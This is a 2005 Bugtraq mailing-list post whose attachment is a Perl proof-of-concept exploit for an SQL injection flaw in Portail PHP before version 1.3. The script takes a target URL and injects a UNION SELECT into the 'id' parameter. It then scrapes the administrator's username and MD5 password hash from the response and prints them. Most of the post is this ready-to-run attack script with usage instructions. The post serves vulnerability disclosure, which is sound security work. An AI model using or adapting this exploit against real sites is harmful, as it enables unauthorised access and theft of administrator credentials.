[39082] in bugtraq
SQL Injection Exploit for Portail PHP < 1.3
daemon@ATHENA.MIT.EDU (Alberto Trivero)
Mon Jun 6 17:42:08 2005
Message-ID: <000a01c56ad3$dfc599c0$0100a8c0@alberto>
From: "Alberto Trivero" <trivero@jumpy.it>
To: <vuln@frsirt.com>, <submit@milw0rm.com>,
<submissions@packetstormsecurity.org>, <news@securiteam.com>,
<bugtraq@securityfocus.com>
Date: Mon, 6 Jun 2005 22:11:06 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0007_01C56AE4.A2DBF8E0"
This is a multi-part message in MIME format.
------=_NextPart_000_0007_01C56AE4.A2DBF8E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
------=_NextPart_000_0007_01C56AE4.A2DBF8E0
Content-Type: text/plain;
name="portailphp.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="portailphp.txt"
#!/usr/bin/perl -w
#
# SQL Injection Exploit for Portail PHP < 1.3
# This exploit show the username of the administrator of the portal and =
his password crypted in MD5
# Related advisory: =
http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0
# Coded by Alberto Trivero
use LWP::Simple;
print =
"\n\t=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D\n";
print "\t=3D Exploit for Portail PHP < 1.3 =3D\n";
print "\t=3D Alberto Trivero - codebug.org =3D\n";
print =
"\t=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D\n\n";
if(!$ARGV[0] or !($ARGV[0]=3D~m/http/)) {
print "Usage:\nperl $0 [full_target_path]\n\n";
print "Examples:\nperl $0 http://www.example.com/portailphp/\n";
exit(0);
}
$url=3Dq[index.php?affiche=3DLiens&id=3D1%20UNION%20SELECT%20null,null,nu=
ll,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];
$page=3Dget($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=3D~m/0000-00-00, 0 \)<\/i> <br><br><br><br><\/td> <\/tr> =
<tr> <td width=3D'100%'>(.*?)<\/td> <\/tr>/ && print "[+] Username =
of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
$page=3D~m/<img border=3D'0' src=3D'\.\/images\/ico_liens\.gif' =
> <b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: =
$1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
------=_NextPart_000_0007_01C56AE4.A2DBF8E0--
